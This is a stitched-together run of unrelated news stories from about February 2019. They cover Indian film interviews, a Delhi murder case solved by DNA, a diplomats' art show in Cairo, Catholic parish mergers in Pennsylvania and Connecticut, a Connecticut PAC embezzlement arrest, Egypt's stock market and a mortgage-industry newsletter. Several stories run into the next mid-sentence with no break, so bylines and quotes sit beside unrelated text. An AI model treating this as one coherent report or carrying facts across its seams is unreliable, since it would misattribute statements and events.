Shes mighty pleased about getting to work with Karthis brother, Suriya, in Selvaraghavans NGK. Ive been his fan for a long time and it was great to work with Selvaraghavan sir, who knows how to extract the best from you. Shes also got an untitled Sivakarthikeyan project in her kitty, and all she can say about it is is that its a science fiction film. My biggest challenge right now is to try and make sure I balance my work across the languages. That explains why shes also excited about the Telugu film, Venky Mama, in which shes acting alongside Venkatesh and Naga Chaitanya.

We ask her about her fiery response to a Twitter user who shamed her for her looks. It wasnt Rakul, the actor, who spoke that day. It was Rakul, the woman, she says. The issue was blown out of proportion, but I stand by my comments. We need to give them a taste of their own medicine.By PTI

NEW DELHI: No voice in the mainstream represents the urban youth, says filmmaker Zoya Akhtar who has deflected criticism that she chooses to train her lens mostly on the privileged classes with her latest "Gully Boy" about street music and the angst of young.

The woman behind "Dil Dhadakne Do", which explored varied relationships of the rich and mighty on a cruise ship, and "Zindagi Na Milegi Dobara", about three friends on a road trip through Spain, has gone over to the other side with her "Gully Boy" that talks about Mumbai's hip hop scene.

The Ranveer Singh-Alia Bhatt starrer examines how street music becomes a way for struggling urban youth to project their anger in a system where the odds are stacked against them. "Frankly, there is no voice in the mainstream that represents the urban youth and that's what attracted me to the story. Their rap is conscious of its space and it is conscious of where it exists. It is honest, truthful and personal. They are the artistes who speak about their socio-economic space, about the system and how it treats them," Zoya told PTI in an interview.

ALSO READ| The voice of the streets

The 46-year-old says she grew up listening to classic hip-hop artistes such as Tupac Shakur, 50 Cent and Eminem but the mainstream Indian hip-hop scene never attracted her until she chanced upon a track by Divine and Naezy.

The story of the two rappers from the chawls of Kurla in Mumbai serves as the inspiration for "Gully Boy", played by Ranveer Singh. Zoya says she realised she could use hip-hop to tell a larger story about urban youth and their frustrations. "There are youngsters who are kind of frustrated because they are not even allowed to pursue their dreams. They have to figure out how they get by in their day-to-day life. There is a huge population that falls in this bracket and hip-hop resonates with them," she said.

Zoya says she does not concern herself with how people bracket her as a filmmaker. As a filmmaker, she is drawn to conflicts. "At the end of my life, I want to have a body of work that has everything. My next job is for Amazon and again it is about rich people, wedding planning. I want to do all kind of films. I don't want to be bracketed into one kind of cinema and if somebody does that, then it is on them," she said.

According to Zoya, if you are good at your job and resonate emotionally with people and there are conflicts that you can connect to, your work will find its audience. "Ultimately, we are all human beings and the rest is just the backdrop," she said.

The story of an underprivileged artiste finding his path through hip-hop led to some comparisons with Eminem's and 8 Mile, but Zoya dismisses speculation that her film has anything to do with the Hollywood movie. "When 'Zindagi Na Milegi Dobara' was coming out, everybody said that it is 'Hangover'. I got very upset at that time but then it released and everyone forgot about it. I understand the comparison with '8 Mile' because that's their only reference point. Also, he comes from the underprivileged space and the rap battle, the tropes are similar.But there is no similarity," said Zoya

There was also a debate on social media about the change in the lyrics of "Azadi", which musician Dub Sharma created in 2016 after student leader Kanhaiya Kumar made the slogan popular during a protest in Delhi's Jawaharlal Nehru University. The lyrics had words such as 'Aazadi Manuvaad se, Aazadi Brahmanvaad se', but these lines are missing in the 'Gully Boy' track which has tweaked the original.

Zoya said they changed the lyrics to suit the context of the film and its character."My story is about class, about feeling oppressed by your class. It is about economic disparity, the divide between rich and poor. It represents the point of view of my character and his engagement with the society, his socio-economic space and his anger.My film is not about the caste system or JNU,"she said.

Freedom, she said, is a word that was used way before JNU and will continue to be used. "It has been used for women's movement, for caste disparity, against the system and whatever the oppressed community feels strongly about. But it would have been fake on my part if I had just taken the original song and monetised it," she said.By PTI

NEW DELHI: Delhi Police has identified through DNA test the body of a 22-year-old man who was killed in 2011, officials said Wednesday.

The deceased was identified as Ashutosh, a native of Deoria district in Uttar Pradesh, they added.

According to police, Ashutosh's father had filed a case at the Pul Prahladpur police station on March 18, 2011, stating that his son Ashutosh, who was working in Delhi, had been missing since March 4.

The victim was last seen with his employer, Pramod Kumar, they said.

However, no one ever saw Ashutosh again and after investigation, Kumar was arrested for kidnapping him, police officials said, adding that Kumar remained in jail for around 8 months, following which he was granted on bail.

On April 4, 2012, the case was shifted to Crime Branch.

Meanwhile, an unidentified body of man was found at Muradnagar area of Ghaziabad.

A case of murder was subsequently registered at Muradnagar police station, Additional Commissioner of Police (Crime) Rajiv Ranjan said.

A postmortem of the body had revealed that the person had died due to asphyxia as a result of ante-mortem throttling, he said.

In October 2018, the body exhibits were deposited at the Forensic Science Laboratory, Rohini, for a DNA test.

One Monday, the test proved that the remains belonged to Ashutosh, the officer added.

It has been alleged that Kumar suspected Ashutosh of having illicit relations with his wife, he added.

Muradnagar Police had registered a case of murder, Ranjan said, adding the investigation into Kumar's exact role and whether he enlisted help from others in committing the crime is being conducted.Russian ambassador to Egypt Sergey Kirpichenko and director of the Russian Cultural Centre in Cairo Aleksey Tevanyan have inaugurated the exhibition 'Diplomatic Creations' at the Grand Exhibition Hall of the Russian Cultural Centre in Dokki.

The inauguration took place to celebrate Russian Diplomacy Day, which is celebrated every year on 10 February.

Also attending the opening were ambassadors of Belarus Sergei Rachkov, Azerbaijan's Tural Rzayev, Kazakhstan's Arman Issagaliyev and Tajikistan's Khusrav Nozirias.

Fifty foreign diplomats from the embassies of Belarus, Azerbaijan, Kazakhstan, Tajikistan and Spain took part in the exhibition.

They exhibited 200 works of art in the fields of painting, jewellery, clothing, miniatures, photography and handmade artworks. Among the participants in the field of drawing was ambassador of Azerbaijan Rzayev.

The Egyptian participation was represented by artists Heba Saleh and Rawan El-Guindy in the fields of drawing and photography.

Director of the Centre Tevanyan said that the exhibition of 'Diplomatic Creations' is the second of its kind after the success of the exhibition its first edition last year.

This year, the exhibition was attended by more countries and participants, he added.

In his inaugural speech, Tevanyan promised that the number of foreign diplomats to participate in the third edition of the exhibition will increase compared to the two previous sessions.

The success of the exhibition confirms that the arts are able to unify humanity and gather us all on a common ground of understanding, cooperation and mutual respect, which takes place within the framework of the popular diplomacy and reflects the other side of diplomats who have artistic talents, Tevanyan said.

The exhibition will continue through 14 February at the Russian Cultural Centre.

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THIS WEEKEND ... The Rev. Joseph McCaffrey will lead informational assemblies this weekend at the following t

Seven Lawrence County Catholic churches apparently will be among the first to merge under the Diocese of Pittsburghs consolidation initiative.

On Mission for the Church Alive! is the dioceses strategy for paring 188 parishes to 57 due to declining numbers of worshippers and priests. After three years of planning, new groupings were announced last April and, on Oct. 15, the clocking began ticking for each group to reorganize into a single parish.

The timeframe for to accomplish that varied from two to five years, depending on the grouping, but seven of Lawrence Countys parishes were designated to merge into one within two years.

However, a diocese spokesperson said this week that the county grouping  which includes St. Camillus, Christ the King, St. James the Apostle, St. Joseph the Worker, Mary, Mother of Hope, St. Vincent de Paul and St. Vitus  is one of five expected to complete the consolidation process by summer.

The others include two Pittsburgh-area groupings, a Castle Shannon-Mount Lebanon grouping and a Greene County grouping.

The Rev. Joseph McCaffrey, who returned to Lawrence County to oversee the merger process, has begun leading after-Mass assemblies at each local church during which he uses a PowerPoint presentation to explain where we are, where weve been and where were going. Four such presentations took place last weekend, and the final three are scheduled for Saturday and Sunday.

We looked at how many people are registered, how many people attend, where they attend, where are our boundaries  all seven places  what it will look like when were one, where people live as opposed to where they attend  all of those kind of statistics, McCaffrey said. We looked at the finances. Theres no question that we really have to do something for all these reasons.

Becoming one parish will help to strengthen us in every way because we can combine not just our resources, but we can also combine our ministries and our efforts together, our volunteer crew and all of that.

Ultimately, Bishop David A. Zubik will have to sign off on the plan to merge the local churches, and McCaffrey is hopeful that a petition for perusal by the bishop and his councils can be filed by April.

Were hoping to have everything approved by the end of the fiscal year (June 30), McCaffrey said, so we can begin the new fiscal year as one new entity because of the finances and everything else we have to coordinate.

Key among the pieces that must yet fall into place before a plan can be submitted is a name.

Story continues below video

The parish will have a new name, because its a new entity, but all the sites will retain the name that they have to identify where they are, McCaffrey said.

County parishioners are being presented a ballot of potential names that have been pre-approved by Zubik, and they are making their first, second and third choices. They have until March 3 to cast their votes.

Well send those first, second and third choices of the parishioners to the bishop, and then he can choose from that list or he can even come up with his own name, McCaffrey said. "Mostly likely, though, because of the peoples participation, hell use something that we offer him.

Once a single parish is established with its new name, the second part of the merger process begins.

All of our assets and deficits become one entity, one parish with multiple sites. Then well begin  and weve already begun, behind the scenes a little bit  discerning what we have and what we have to let go of, McCaffrey said. We probably have about 59 parcels of property, so were going to have to start looking at those.

Like I told the people, its kind of like that song about the gambler. Well have to decide what we hold and what to fold, just to keep the main thing the main thing. What are we trying to achieve here, and whats the best way to go about that, given the resources we have?

Most people at last weekends sessions, McCaffrey said, seem to have realized for a while that we need to do something. Most people are in agreement and understand that we have to move forward.

Still, he understands that others have emotional attachment to the past, and the ways and locations in which their faith has been practiced. But, he adds Its pretty clear when we show them the facts of where we are in terms of population, attendance and finances, that if we dont do something, then we will have decided to do something, which is completely fall apart.

And transitioning, he notes, really focuses more what the parish will gain by consolidation rather than what it will lose.

For one thing, a new youth minister, Patrick Neve, already has been hired.

Its not all demise, McCaffrey said. Its also new life, new growth, new efforts. We have to come together in order to achieve our goal of living the faith and sharing the faith with the next generation and hoping to strengthen them and not just watch it die on the vine.

d_irwin@ncnewsonline.comState

State lawyers join nation-wide rally for welfare

Lawyers after submitting a memorandum to Governors secretary. (NP)

By Nagaland Post | Publish Date: 2/12/2019 1:30:56 PM IST

Along with their counterparts in rest of the country, members of the legal fraternity here joined the nationwide rally on Tuesday demanding budgetary allocation for welfare of lawyers and litigants in the country from Government of India

In the State Capital, the rallyists started marching from the high court complex and then proceeded to Raj Bhavan for submission of a memorandum listing their charters of demands as decided by the Bar Council of India (BCI).

Members of Nagaland High Court Bar Association, Kohima Bar Association and High Court Bar Association, Kohima took part in the march before submitting the memorandum to the President of India and Prime Minister through governor of State. The memo was handed over to secretary to governor, Dinesh Kumar, since governor PB Acharya was out of station.

According to the memorandum, the emergency meeting of High Court Bar Association, Kohima held on February 10 fully endorsed the February 2 resolution of BCI.

Some of the demands of BCI include providing better infrastructure facilities with well-equipped libraries, internet facilities, etc, housing for advocates for which the government should frame schemes to acquire lands at cheaper rates, budgetary allocation of Rs 5,000 crore for lawyers and litigants welfare in annual budget for stipend for new entrants, financial protection, insurance cover for the lawyers and their families, etc.

Later speaking to Nagaland Post, High Court Bar Association, Kohima general secretary Kekhriengulie Theunuo said the rally was organised as a part of submission of the memorandum.

Mentioning that there were no specific demands for a particular State, he said, If once the Central government considers our demands, then these will extend to all the States.

He informed this correspondent that all high court bar associations and State bar councils would be submitting memorandums to their respective governors.

The general secretary clarified Our movement is not against the government, but we have certain requirements in the bar, besides we need facilities for our members and seek welfare of all lawyers across the country.

(DBA endorses BCI demands, see on page-2)Michael J. Cronin, the former counsel to the state Senate Republicans, was arrested Wednesday and charged with first-degree larceny in connection with what prosecutors say was the misappropriation of $267,800 from a GOP political action committee.

Cronin, 56, of West Hartford, was fired in December after Senate Minority Leader Len Fasano, R-North Haven, confronted him about unpaid bills and other issues involving the political action committee for which Cronin was treasurer since 2007..

The office of the Chief States Attorney said Wednesday that their investigation found misappropriations by Cronin dating back to 2012 and continuing until he was confronted by Fasano. Cronin turned himself into authorities at Fasanos urging in December.

Fasano said Cronins misuse of funds from a Senate GOP caucus PAC had gone on for a while, but he believes it ramped up quite a bit in the last couple of years. He said the Republican caucus is suing Cronin to recover the funds.

Cronin was released on a $50,000 non-surety bond and is scheduled to appear in Hartford Superior Court on Feb. 22.

Fasano said the lawmakers have implemented new financial safeguards, requiring bank statements from Senate GOP caucus PAC treasurers at the end of every month, and the caucus will do an audit of the fillings to make sure everything matches by looking at the bank statements.

I think Mike Cronin said in his arrest warrant that he lied on the quarterly statements, under penalties of perjury that he lied to us about bank balances and therefore thats how he sort of covered his tracks, Fasano said.

Fasano said he has not spoken to Cronin since December.

But you know this is someone who was held to great respect in building virtually on every agency that he touched, including judicial, crossed the aisles, House Democrats, Senate Democrats, great relationship with Senate Democrat staff, great relationship for 20 years in this building. Someone a lot of us considered a friend, he said.

Fasano offered no insights as to the motivation for the alleged thefts.

I know that he did use the money for personal use, some of which was him writing checks to himself, some of which was writing checks out to folks he owed money to or wanted to purchase something from, Fasano said. Thats what I know about it.

Fasano said, according to the affidavit, Cronin had family members help him in replenishing the money but the Senate leader doesnt believe all of that money was added to the caucus account.

This story originally appeared on the website of The Connecticut Mirror, www.ctmirror.org.The towns slow but steady growth in taxable property in recent years continued with the release of the 2018 Grand List, which saw a slight increase in the towns tax base.

Town Manager Robert Lee said the growth was largely driven by new real estate development, which helped to push the net Grand List up by $7.7 million to just shy of $1.4 billion. Real estate contributed $5.6 million of that increase.

Its good to see the real estate numbers creeping up, he said. Its been slow but steady.

New development included a 10,800 square foot Goodwill store on New Britain Avenue.

Percentage wise, personal property saw the largest increase in growth at 1.7 percent, or $1.6 million added value. Personal property includes equipment owned by businesses.

Automobile value increased $500,000 to $145 million.

Under 2018s mill rate  the overall growth would contribute an additional $261,000 in revenue to town coffers.

Assessor Ann Marie Heering said the towns real estate value has almost returned to pre-recession levels.

If you look over the history of property values  what were seeing now is a normal, sustainable increase in values, she said.

More substantial growth has been seen in recent years in the towns gross Grand List, which also includes everything exempt from local property taxes, including churches, veterans with tax relief or businesses benefiting from tax abatements. The gross Grand List grew by $10.9 million this year and by $162 million since 2014, a 12 percent increase for that period.

Lee said offering businesses tax abatements helps compete with surrounding municipalities vying for companies.

I think it certainly helps us compete with other communities that are doing similar things, he said.

The Connecticut Commons shopping center on New Britain Avenue, home to AMC Plainville Theater, Lowes Home Improvement and other businesses, remains by far the largest taxpayer in town with an assessed value of almost $50 million.

Its followed by Tilcon Connecticut, whose Woodford Avenue headquarters is assessed at $13.3 million, and Valley Water Systems, which is valued at $12.8 million.

With an improving economic outlook for the region, Lee hopes to see growth pick up in coming years.

Wed like it to be higher over time and perhaps with the economy getting better we will a see that, he said. But we are still somewhat dragged down by the Connecticut financial picture.



CHESHIRE  A Coptic congregation plans to buy a Roman Catholic Church building put on the market after parish consolidation last year.

Coptics are primarily Egyptian Christians and the church is one of the oldest in Christianity. Coptics are also the largest Christian denomination in Libya and Sudan.

The Cheshire location, The Holy Theotokos and St. Athanasius Church, will be the fourth congregation for the Coptic Orthodox Church in Connecticut.

Father Isaac Salib, a priest at the Virgin Mary and Archangel Michael Orthodox Church in Hamden, hopes to close on the Cheshire building in the spring and start services the next day. Salib will be the pastor of the Cheshire congregation, which will include some of those attending church in Hamden.

Like many in his congregation, Salib was born in Egypt. He first traveled to the United States for work and after his ordination was assigned to Connecticut. He is married with three boys.

Coptic services are conducted in a combination of Coptic, a liturgical language, Arabic and English. Salib said the older members and first-generation immigrants are more comfortable with Arabic while the younger members prefer English and Coptic.

Virgin Mary and Archangel Michael Orthodox Church has enough priests to conduct services for both groups simultaneously. Salib said hell be the only priest at The Holy Theotokos and St. Athanasius Church and will try to have something for both language preferences.

Salib was charged by the Coptic New York and New England diocese with starting a church. A committee quickly found the former Church of the Epiphany on the market.

Through a work of God, it was 24 hours after we formed a group that we found a church, Salib said.

The 20-acre property on Huckins Road is under contract. Salib said the church is fundraising and hopes to have a large down payment to keep the mortgage low. The property is on the market for $925,000.

John Bergin, the listing agent, deferred comment to the Hartford archdiocese but said the market was good for churches.

The archdiocese didnt return calls for comment.

The Roman Catholic Church consolidated a host of parishes in 2017, leading to the closure of the Church of Epiphany. The congregation was merged with St. Bridget and St. Thomas Becket to form St. Bridget of Sweden.

Salib hasnt yet decided a schedule for services for the new church but said that Coptic churches often have services throughout the week. While not at the church, Salib is often visiting congregation members for blessings, prayers and scripture reading. Visitation is an important part of a Coptic priests job, according to Salib, and often includes blessings for new family members or things. The frequent interaction with congregants helps him know everyone in his church.

I tell my congregation, if you change your address, before you inform the DMV, you have to inform your priest, Salib said. This is the tradition of the Coptic people, to ask a priest to come and bless anything in their life  a car, a house, a baby.

Salib hopes to find ways for the Cheshire congregation, once formed, to serve the community.

jbuchanan@record-journal.com

203-317-2230

Twitter: @JBuchananRJMUNCY  Innovative! Remarkable! Meaningful! These are just a few of the exclamations heard during an open house at the Muncy Skilled Nursing and Rehabilitation Center on Wednesday, January 30. A new program was purchased for the residents that is engaging, personal, comprehensive and shares just about any interest one could have.

The new technology was unveiled to the public during an open house and introduced by the staff at the activity center. The digital program is titled Its Never 2 Late and it is specifically designed for seniors and rehabilitative patients. Best of all, it requires minimal staff assistance.

Its Never 2 Late was discovered by Barbara Young, a recreational therapist on staff, when she saw it demonstrated at an annual conference. I received full support from the rest of staff, said Young who went for the training.

This technology is the only one of its kind here in Lycoming County acknowledged company representative, Debbie Ciesielczyk who was available to answer questions. It is very therapeutic and used for restorative therapy.

Cassie Neidig, activity director for the center, said, iN2L combines touch screen computers with intuitive, picture-based software and an extensive, continually updated content library to provide a personalized experience for each and every resident.

Each resident is assigned their own password, and the program is good for all levels. It is very visual, said Tayne Sampson who helped to demonstrate the touch screen technology with resident Nancy Belz. Picture and music can be added to make a storybook setting.

With two mobile units the program is perfect for small group settings as well as one on one. Starting this month small specialized groups are assigned each day to work with iN2L.

Funding sources came from the Waldron Memorial Fund at the First Community Partnership of Pennsylvania (FCFP) and the Muncy Valley Hospital Auxiliary. Each group contributed $17,000 towards the project.

FCFP is pleased to support the Its Never 2 Late project with a grant from the Waldron Memorial Fund. This grant allows Ms. Waldrons legacy to continue by supporting a project that will sustain the health and well-being of the residents in Muncy and surrounding areas, announced Erin Ruhl, FCFP Director of Community Engagement.

iN2L is great for someone non-verbal according to Young. Settings can prompt users to share interests, pets, loved ones and family values. Sampson demonstrated a matching and memory game. She said on Wednesdays residents love to come and play bingo with this program. Now they can play more often. They also can play Price is Right and Family Feud.

There is another component where they can take simulated guided trips. We visited the Greek Islands and set the chairs like being on a plane, said Young. Updates come every 60 days.

There are 3-D driving simulators and games for balance incorporated with a great sound system. It is a fun way to get them motivated, Neidig said. Babies and dogs are popular too, added Sampson as she showed a video of a baby laughing from U-tube. It turns frowns upside down, and its fun to see the residents enjoy this. Theres always something new and interesting to find, even a sing-a-long.Egypts stock market has been on an upward trend since the beginning of the year, something reflected in most of the emerging markets thanks to a weaker dollar and a truce in the trade war between the United States and China.

The Institute of International Finance (IIF) said in a recent report that a sharp spike in emerging markets inflows had been seen since the Federal Reserve, the US central bank, announced that it would keep rate-hikes on hold.

Following a tumultuous 2018, emerging markets enjoyed their best month of inflows in a year in January with investors ploughing $51.1 billion into emerging market stocks and bonds, the report noted, quoted by Enterprise, an online research outlet.

The Egyptian bourses main EGX30 index lost 13.2 per cent in 2018 amid global market fluctuations and the emerging markets sell-off.

Egypt was the top-performing Middle East and North Africa (MENA) market in January, beating the US investment bank Morgan Stanleys emerging markets index MSCI EM, according to Enterprise. The EGX 30 gained 10 per cent in dollar terms, beating Saudi Arabia and the MSCI EM, which both rose nine per cent, it said.

Good macroeconomic news has also supported the rebound over the last six weeks. The appreciation of the local currency in the last week of January was caused by and coupled with a rebound in foreign investments and purchases of local treasury bills.

Foreigners bought one-third of Egyptian local-currency treasury bills and more than half of longer-dated bonds auctioned during the week. Moreover, they gobbled up 100 per cent of the five-year bonds offered in the same week.

Foreign holdings in Egyptian treasuries stood at $13.1 billion by the end of January, which alone witnessed inflows of $900 million, according to Finance Minister Mohamed Maait speaking in a press conference last Wednesday. This is compared to an outflow of $10 billion during the second half of 2018 on the back of the emerging markets meltdown.

The thumbs up given by the International Monetary Fund (IMF) to Egypts economic reform programme, followed by the release of the fifth tranche of the $12 billion loan, also gave the market a kick.

Added to the above was good news from listed companies. The market bellwether the Commercial International Bank, Egypts largest privately-owned lender, reported a fourth-quarter net profit after interest of LE2.56 billion compared to LE1.87 billion a year ago. Shares in the bank gained almost four per cent on the session following the announcement of the results.

In the same trading session, Global Telecom Holding, the IT and media company founded by businessman Naguib Sawiris, climbed 3.3 per cent to its highest since July after its major shareholder Veon said that it had offered to buy the shares it did not already own in the company.

Its offer to buy 42.3 per cent of the firm at LE5.03 per share puts the value of the offer at $600 million, according to Reuters. Veon is a Netherlands-based company with outreach in Russia. It had previously offered to buy the shares at LE7.9 in 2017 but withdrew the following April as it did not get regulatory approval.

The market ended on 5 February at its highest point in the six-week period.

Moodys Investors Service has maintained its positive outlook on Egypts banking sector, thanks to an improving operating environment. A note issued by the ratings agency on Monday said that banks operating in Egypt would have good access to stable, deposit-based funding and hold large liquid asset volumes, especially in the local currency.

Moodys said that real GDP growth in Egypt was forecast to reach 5.5 per cent in 2019 and 5.8 per cent in 2020, and that banking penetration would deepen, supporting deposit and loan growth.

The accelerating growth reflected increased public and private-sector investment, higher exports and a recovery in tourism, said Constantinos Kypreos, a vice-president at Moodys Investors Service. We expect balance sheet growth of around 15 per cent in 2019 and for banks to maintain ample local currency funding, high liquidity, and strong and stable profitability, he added.

The better than expected results for a number of blue-chip stocks was another factor that supported the rebound. The juice-maker Juhayna posted a 24 per cent increase in its net profits for the second quarter of 2018 /2019. Sidi Krier petrochemicals, one of five companies to be offered for privatisation, registered a 31 per cent increase in its third-quarter profits.

The expected initial public offerings (IPOs) of state-owned companies will add interest to the market. While the unfavourable market conditions of 2018 pushed the government to postpone the offering of stakes in a number of state-owned companies, there are rumours that March might witness the sale of a stake in Eastern Tobacco.

The IPOs are expected to boost market capitalisation and increase the range of commodities sold.

The market ended Monday transactions at 14,800 points, its highest level since mid-September. Prime Securities, a consultancy, expected in a note that exceeding the resistance level of 14,300 will push the index to continue its upside movement to target the levels of 14,500-15,000 points in the short term.

However, it pointed to the possibility of a correction wave, especially after the sharp upward movement the market has been witnessing since the beginning of the year and the approach of the resistance level of 15,000 points.

*A version of this article appears in print in the 14 February, 2019 edition of Al-Ahram Weekly under the headline: Egyptian Stock market gains.

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Marketing Products; Lender Legal News; OB's Index, Flood Insurance, Ditech's Ch. 11

Amazon accounts for nearly 50% of the ecommerce activity in the United States. With that kind of delivery service, it isnt hard to see why malls are suffering. Which is why, all across the nation, malls are being re-developed, re-purposed, whatever you want to call it, into mixed-use and housing projects. Projects in Phoenix, Cincinnati, and St. Petersburg are all moving forward. I hope that lenders offer products that are tailored to this type of condo and mixed-use housing.

Lender Products and Services

Nations Direct Mortgage is excited to introduce its new dedicated Non-QM Help team! With the Non-QM market expected to explode to over $35B in 2019, we will provide expert resources to our broker partners so they can grow their Non-QM business stated Martin Warren, Director of Lending. NDMs expert team is highly experienced with pricing, structuring and underwriting Non-QM loans and will help you find the right fit for your borrower. Utilize this specialized team to answer guideline and pricing questions, run scenarios, analyze bank statements, and help structure Non-QM loans. Celebrating its 13th year, Nations Direct is solely focused on wholesale partnerships and they pride themselves on employing industry experts dedicated to delivering exceptional service. If you're interested in learning more about this Orange County, CA based lender and its products, please contact Martin Warren.

Vendor Surf built what the industry asked for and continues to be rewarded, achieving over 100,000 page views in just 13 months. We proudly welcome MortgageHippo, Secure Insight, Property Registration Services, and The Gryphon Group. Partners renewing for another year: TENA Companies Inc., Agility 360, Professional Notary Services and AFR Wholesale. Vendor Surf excels at monitoring and reporting on the vendor landscape, providing you with the resources you need to excel in today's market. For example, plan your event travel schedule and/or learning opportunities via our online calendars  with over 500 items. Find it all in ONE place. Vendors click here to schedule a demo. The industrys original vendor search engine.

Stearns Wholesale Lending just announced an extension of the initial appraisal fee waiver on FHA loans through February 28, 2019. Available for both purchase and refinance products, this waiver makes it easier for brokers to help borrowers save money when applying for financing. Because every advantage counts when building a solid customer base, Stearns also reduced the loan level pricing adjustment by 25 basis points for FICO scores between 580-619 and 660-679. To learn more about this limited-time fee waiver or discover additional ways Stearns supports their valued brokers, email wholesaleleadership@stearns.com.

Does your company brand convey what you think it should? Is it connecting with your target audience and employees? Or do you feel your brand needs to be re-energized? These were some of the important questions posed last week to John Seroka and other industry leaders during a panel discussion at the IMB Conference in San Francisco. Ideally, the perceptions of your brand line up with what you intended, are strong, connect with your audience and are well understood. When your brand is weak, it can show in sales volume/new client acquisition numbers, employee turnover, client satisfaction ratings, employee job satisfaction and much more. Find out if your brand could use a revamp by contacting Seroka today for a free consultation. Email info@seroka.com and get ready to #TurnUpYourBrand in 2019!

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Whats New? Lender Updates

Obviously, there are personnel, lender, and correspondent changes taking place, the Chase correspondent layoffs late last week being the latest. I try to group things to provide context but sometimes there are things from such a wide variety of sources impacting so many segments of our industry I just have to blurt them out. In no particular order

Congrats to anyone who owned stock at the beginning of the week of Ellie Mae. Thoma Bravo, LLC, a private equity investment firm, announced an all-cash purchase transaction of Ellie that values it at an aggregate equity value of approximately $3.7 billion. Thoma Bravo is no stranger to this: MeridianLink, the parent of LendingQB, an LOS, was purchased last year.

Recall that in the summer of 2017 Binh Dang, the co-founder and former president of LendingQB sought a court to force MeridianLink, the loan origination system's parent company, to dissolve. At that point Dang owned 249,999 shares of MeridianLink while QBSolutions Group, which Dang is listed as the president, owned one share. I mention this because, regarding the announced acquisition of Ellie Mae by Thoma Bravo, Tim Nguyen, CEO and Co-Founder of MeridianLink, sent a note out to clients saying, Firstly, I wanted to say congratulations to the team at Thoma Bravo and the team at Ellie Mae on the transaction I want to state that we remain 100% committed to growing and investing in our LendingQB product line and (this news) does nothing to change that perspective We will continue to fiercely compete and acquire market share as we have for the past 10+ years!

Ellies fortunes, given its size, rise and fall with the fortunes of the residential lending industry. They also rise and fall with Ellies market share, estimated to be roughly 40%. All Ellie Mae shareholders will receive $99.00 in cash per share from the $17 billion fund. Meridian Link has a notable footing in credit union and bank software, and of course a smaller presence in mortgage with LQB. Thoma Bravo also has interests in McAfee, Barracuda, Compuware and other big software companies. Bloomberg reports that, The deal includes a 35-day go-shop period when Ellie Mae can seek other offers. The acquisition is expected to close in the second or third quarter of this year.

To nearly no ones surprise, ditech, aka Ditech, announced that it has entered into a restructuring support agreement (RSA) through a Chapter 11 reorganization to reduce its corporate gross debt by $800 million and continue to explore strategic alternatives including a whole company sale, an asset sale, and outsourcing to a subservicer.

Analysts were quick to point out possible ramifications for the servicing biz given its servicing of $187 billion of total UPB (unpaid principal balance), $83 billion related to the NRZ agreement leaving $104 billion that could be sold. Keefe, Bruyette & Woods (KBW) has some thoughts pulled directly from the note, which can be viewed in full here: Ditech Files Chapter 11; MSR Sale Could Impact Servicers and Black Knight. Ditech issued an 8-K a couple weeks ago noting NRZ planned to pull subservicing. In that note KBW analysts highlighted that that the NRZ subservicing portfolio is likely to move to Shellpoint, COOP, and potentially others.

Who could buy the free $104 billion of ditech servicing? New Res, Two Harbor, Mr. Cooper (ex-Nationstar), or Ocwen jump to mind. KBW points out that Black Knight could suffer a possible setback since some potential MSR acquirers dont use it. While most large servicers use Black Knight's MSP, two notable servicers that do not are Mr. Cooper and Shellpoint. KBW analysts had originally estimated that NRZ pulling its subservicing would amount to servicing revenue headwinds for BKI of less than 1%. However, because the average loan size in that portfolio is below average, KBW analysts would revise that estimate up slightly to about 1.4% (assuming the entire NRZ portfolio leaves MSP which we continue to think is unlikely)  From conversations with NRZ's management, we would expect NRZ to allocate that UPB among several servicers possibly including Shellpoint and COOP (neither on BKI's MSP), as well as to some servicers on MSP.

Switching gears to wholesale, brokers learned from United Wholesale Mortgage (UWM) that, Being in business for yourself doesnt mean you have to go it alone when it comes to health insurance. United Wholesale Mortgage has negotiated a discounted price with one of the nations leading independent insurance providers to make it easy to shop for group health insurance for you and your employees. Health insurance plans include options such as medical, dental, vision, short-term and long-term disability from the top health providers in the nation, such as Blue Cross Blue Shield. To learn more about this great benefit talk to your UWM AE or sign up with UWM and get access to health insurance plans tailored for your needs.

From the Texas Dept. of Housing and Community Affairs comes news that the My First Texas Home special mortgage loan rate, 3.99%, is available to potential homebuyers right now! (The Texas Department of Housing and Community Affairs is committed to expanding fair housing choice and opportunities for Texans through the administration and funding of affordable housing and homeownership opportunities, weatherization, and community-based services with the help of for-profits, nonprofits, and local governments.)

Given rising ocean levels, anything to do with flood insurance is important. Five federal regulatory agencies issued a joint final rule to implement provisions of the Biggert-Waters Flood Insurance Reform Act of 2012 requiring regulated institutions to accept certain private flood insurance policies in addition to National Flood Insurance Program policies. The OCC, NCUA, FDIC, FCA, and the Federal Reserve Board let us know that the rule, which takes effect July 1, 2019, implements the Biggert-Waters Act requirement that regulated lending institutions accept private flood insurance policies that satisfy criteria specified in the Act, allows institutions to rely on an insurers written assurances in a private flood insurance policy stating the criteria are met, clarifies that institutions may, under certain conditions, accept private flood insurance policies that do not meet the Biggert-Waters Act criteria, and allows institutions to accept certain flood coverage plans provided by mutual aid societies, subject to agency approval. Regulations implementing the federal flood insurance statutes prohibit regulated lending institutions from making loans secured by improved real property located in special flood hazard areas unless the property has adequate flood insurance coverage.



Final Rule

Yesterday, Optimal Blue launched a compelling new resource for lenders, loan officers, and consumers. Optimal Blue Mortgage Market Indices, or OBMMI, provides unparalleled transparency into mortgage rates by utilizing observed, real-time lock data from approximately 30% of the market. The data is aggregated daily into multiple national mortgage market indices and engaging visualizations for popular conforming, jumbo, and government loan products as well as unique loan scenarios based on standard LTV and FICO ranges. It will be interesting to see how this new national benchmark for mortgage pricing will help to streamline the mortgage shopping process and connect consumers with their lenders more quickly.



Legal and Regulatory Changes

Attorney Phil Stein with Bilzin Sumberg Baena Price & Axelrod LLP writes, Heres a case development that will likely be of interest to your readers. The case deals with the statute of limitations for many of the lawsuits facing lenders and LOs. The case should send some light on how an indemnification claim is in reality indistinguishable from a breach of contract claim.

The CFPB posted new compliance tool on its website specific to the TRID Rule. Its Frequently Asked Questions (FAQs) provides clarification to the following questions:

a financial institutions obligation to provide a new three-day waiting period along with a corrected Closing Disclosure (CD) when a term previously disclosed has changed. How creditors may use model forms that do not reflect the CFPBs 2017 amendments to the Rule. The impact of a recent TILA amendment to the requirement for corrected disclosures.



Capital Markets

